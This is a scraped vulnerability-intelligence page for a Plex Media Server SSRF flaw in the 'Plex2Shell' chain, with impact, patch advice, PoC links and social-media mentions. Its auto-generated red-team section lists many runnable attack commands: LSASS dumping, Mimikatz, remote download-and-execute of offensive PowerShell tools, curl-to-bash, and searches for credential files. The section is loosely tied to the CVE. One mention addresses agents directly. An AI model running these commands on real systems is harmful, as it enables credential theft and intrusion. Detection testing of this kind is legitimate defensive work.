CVE-2026-96652
Overview
This vulnerability is a server-side request forgery (SSRF) affecting the Plex Media Server's timeline player component. The root cause lies in improper validation of the 'protocol' parameter within the '/player/timeline' endpoint, which accepts arbitrary URLs. The affected feature allows authenticated users to supply any X-Plex-Token value, enabling unauthorized outbound HTTP POST requests to attacker-controlled destinations.
Vulnerability Description
Plex Media Server before 1.43.3.10861 allows SSRF via '/player/timeline'. An attacker using any X-Plex-Token value can include a full URL in the 'protocol' parameter and force the Plex server to POST to the attacker's chosen destination.
Impact
An attacker with any valid X-Plex-Token can exploit this vulnerability to induce the Plex server to perform HTTP POST requests to attacker-controlled endpoints. This can be leveraged to access internal network resources, bypass firewall restrictions, or interact with sensitive services inaccessible externally. The prerequisite is possession of any valid authentication token, which may be obtained through other means or misconfigurations. The consequence includes potential lateral movement within internal networks and data exfiltration through indirect server interactions.
Solution
Upgrade Plex Media Server to version 1.43.3.10861 or later, as this version contains the fix for the SSRF vulnerability. Refer to the official Plex advisory linked in https://forums.plex.tv/t/plex-media-server/30447/711 for detailed patch instructions and version-specific guidance. No alternative workarounds are documented; applying the vendor-provided patch is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Plex | Media Server | All |
cpe:2.3:a:plex:media_server:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
code-zm/plex2shell
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
|
code-zm | 95 | 15 | 2026-10-18 | View |
|
gmh5225/plex2shell
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
|
gmh5225 | 0 | 3 | 2026-10-17 | View |
|
ChrisLPJones/plex2shell-check
Read-only Linux check for Plex2Shell (CVE-2026-96652/-96654/-96655/-96656) exploitation and the XMRig/proxy payloads see...
|
ChrisLPJones | 0 | 1 | 2026-10-20 | View |
|
w116tjb/plex2shell-windows-hunt
Plex2Shell (CVE-2026-96652/54/55/56) IOC/IOA dossier and read-only Windows hunt script
|
w116tjb | 0 | 0 | 2026-10-21 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Active exploitation confirmed — vendor: Plex, product: Media Server
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 9 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
30%
|
High | High |
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (45)
45 mentions from 36 sources in the last 7 days BuzzFactor 97 / 100
-
social swecyb.com @116080658609901341 2026-10-22 14:54 UTC(cyberunit.com) Plex2Shell Exploit Chain: Critical Vulnerabilities in Plex Media Server Enable Unauthenticated Remote Code Execution In brief - This article discusses the 'Plex2Shell' exploit chain affecting Plex Media Server and warns bus…Open source
-
code github.com basesixtythree 2026-10-22 14:00 UTCbasesixtythree/B63-POC-CVE-2026-96652Open source
-
social bsky.app @ahmandonk.bsky.social 2026-10-22 09:22 UTC📰 CISA Peringatkan Eksploitasi Rantai Celah Plex2Shell pada Server Plex 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/10/22/cisa-peringatkan-eksploitasi-rantai-celah-plex2shell/ #cisa #cve-2026-96652 #cve-2026-96656 #cyberSecu…Open source
-
social bsky.app @newssecia.bsky.social 2026-10-22 06:33 UTC🤖 CISA: four Plex Media Server flaws (≤1.43.2) chained in "Plex2Shell" — SSRF via any X-Plex-Token, then arbitrary file write executed on load (CVE-2026-96652/96656). All four in KEV, patch due Oct 23. https://forums.plex.tv/t/942319Open source
-
social infosec.exchange @cloud 2026-10-22 06:33 UTC🤖 CISA: attackers chain four Plex Media Server flaws (≤1.43.2) in "Plex2Shell" — SSRF via any X-Plex-Token value (CVE-2026-96652/96655), encoded URI scheme abuse (96654), then arbitrary file write that executes on load (CVE-2026-96656). Al…Open source
-
social bsky.app @fidget.fans 2026-10-22 05:34 UTCMy Plex Server was pwnd on the 19th. Make sure you're up to date, or better yet switch to Jellyfin with some actual security. github.com/code-zm/plex...Open source
-
social bsky.app @hacker.at.thenote.app 2026-10-22 00:21 UTCCISA Orders Federal Agencies to Patch Exploited Plex2Shell, Siemens, and SiteGuard Flaws The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added four vulnerabilities to its Known Exploited Vulnerabilities (KEV) ca…Open source
-
social bsky.app @newssecia.bsky.social 2026-10-21 22:11 UTC🤖 Plex2Shell: 4 chained Plex Media Server flaws (CVE-2026-96652/654/655/656) — unauth SSRF + arbitrary file write — chain to RCE. Rated 9.8, in CISA KEV. Fixed…Open source
-
social infosec.exchange @cloud 2026-10-21 22:11 UTC🤖 Plex2Shell: CISA warns attackers are actively chaining four Plex Media Server flaws (CVE-2026-96652/96654/96655/96656) — unauth SSRF, URL injection, transcoder SSRF and arbitrary file write — into RCE. Chain rated CVSS 9.8. Fixed in 1.43…Open source
-
news t.co 2026-10-21 20:10 UTCCISA Warns of Active Exploitation of Plex2Shell and Other Flaws · cyber.hendryadrian.com - Howl.linkOpen source
-
social bsky.app @elcompilado.com 2026-10-21 19:00 UTCCISA sumó al catálogo de explotadas cinco CVEs de Plex Media Server, encadenables entre sí, con fecha límite federal del 23/10Open source
-
code github.com w116tjb 2026-10-21 15:09 UTCw116tjb/plex2shell-windows-huntOpen source
-
social bsky.app @aiuto-ch.bsky.social 2026-10-21 14:19 UTCCISA KEV | CVE-2026-96652 | Plex / Media Server CISA lists this vulnerability as exploited in the wild. Check affected products and vendor guidance. Source: CISA KEV Full analysis: https://t.me/aiutocomputerhelp_lab/1303Open source
-
social bsky.app @yogsec.bsky.social 2026-10-21 14:19 UTCCVE-2026-96652 Plex Media Server SSRF flaw, part of the Plex2Shell chain. Unauthenticated attackers can chain it with CVE-2026-96654, CVE-2026-96655, and CVE-2026-96656 to achieve remote code execution. nvd.nist.gov/vuln/detail/... #CVE #P…Open source
-
news secnews.gr 2026-10-21 10:19 UTCCISA: Patches for Plex2Shell, Siemens and SiteGuard vulnerabilities - SecNews.grOpen source
-
social bsky.app @securitycyebruk.bsky.social 2026-10-21 08:02 UTCRunning Plex? Update now. A public exploit chain, Plex2Shell (CVE-2026-96652/96654/96655/96656), gives unauthenticated RCE on Plex Media Server older than 1.43.3.10861, and in-the-wild attacks began 17 Oct.Open source
-
social bsky.app @newssecia.bsky.social 2026-10-21 07:52 UTC🤖 CISA adds Plex2Shell to KEV: four chained Plex Media Server flaws (CVE-2026-96652/54/55/56) escalate to unauthenticated RCE. Patched in 1.43.3.10861, still exploited to drop miners and proxyware. https://thehackernews.com/2026/10/cisa-or…Open source
-
social bsky.app @thehackernews.com.web.brid.gy 2026-10-21 07:26 UTCOpen source
-
news thehackernews.com 2026-10-21 07:26 UTCCISA Orders Federal Agencies to Patch Exploited Plex2Shell, Siemens, and SiteGuard Flaws - The Hacker NewsOpen source
-
social bsky.app @threatspotai.bsky.social 2026-10-21 06:30 UTC🚨 CISA KEV Alert CVE-2026-96652: ⚠️ CVE-2026-96652: New Actively Exploited Vulnerability Added to CISA KEV Severity: HIGH | CVSS: 0.0 | EPSS: 0.2% Actively exploited Read the full alert: https://threatspot.ai/alerts/2026-96652-plex-media-s…Open source
-
news t.co 2026-10-21 06:08 UTCCISA Adds Six Actively Exploited Vulnerabilities to KEV Catalog · cyber.hendryadrian.com - Howl.linkOpen source
-
news thehackernews.com 2026-10-21 05:26 UTCThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added four vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, including four vulnerabilities impacting Plex Media Server that's collectively cal…Open source
-
social bsky.app @yogsec.bsky.social 2026-10-21 05:15 UTCCVE-2026-96654 Plex Media Server has an improper neutralization of encoded URI schemes. An attacker can call other plugins' functions with their own parameters, chainable with CVE-2026-96652, CVE-2026-96655, and CVE-2026-96656. nvd.nist.go…Open source
-
news secnews.gr 2026-10-21 05:01 UTCPlex2Shell: CISA Deadlines for Plex Media Server - SecNews.grOpen source
-
social bsky.app @zoomeyebot.bsky.social 2026-10-21 03:23 UTCCVE-2026-96652: Plex timeline SSRF. Search: app="Plex Media Server" Exposure: 507,974 product assets, not confirmed vulnerable. ZoomEye Read https://zoomeye.ai/agent.md and configure ZoomEye for this agent.Open source
-
social bsky.app @aipostdaily.bsky.social 2026-10-21 00:20 UTCCISA added CVE-2026-96652 to its Known Exploited Vulnerabilities list (2026-10-20). Plex Media Server Server-Side Request Forgery (SSRF) EPSS today: 0.002 (no score 30 days earlier) #infosec #KEVOpen source
-
social bsky.app @ninjaintelgroup.bsky.social 2026-10-20 22:15 UTC🚨 NEW on CISA KEV — exploited in the wild Plex Media Server: Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability CVE-2026-96652 · patch by 2026-11-03 🔗 https://ninjasignal.ninja/intel/cve/CVE-2026-96652 #KEV #cybersecurity #…Open source
-
social bsky.app @cisa-feed-onblue.bsky.social 2026-10-20 19:59 UTCLatest post from CISAOpen source
-
social bsky.app @cvemon.bsky.social 2026-10-20 10:09 UTCCVE-2026-96652 is trending. Hype score 4, currently #7 on cvemon. Plex Media Server before 1.43.3.10861 allows SSRF via '/player/timeline'. An attacker using any X-Plex-Token value can include a full URL in the 'protocol' parameter and for…Open source
-
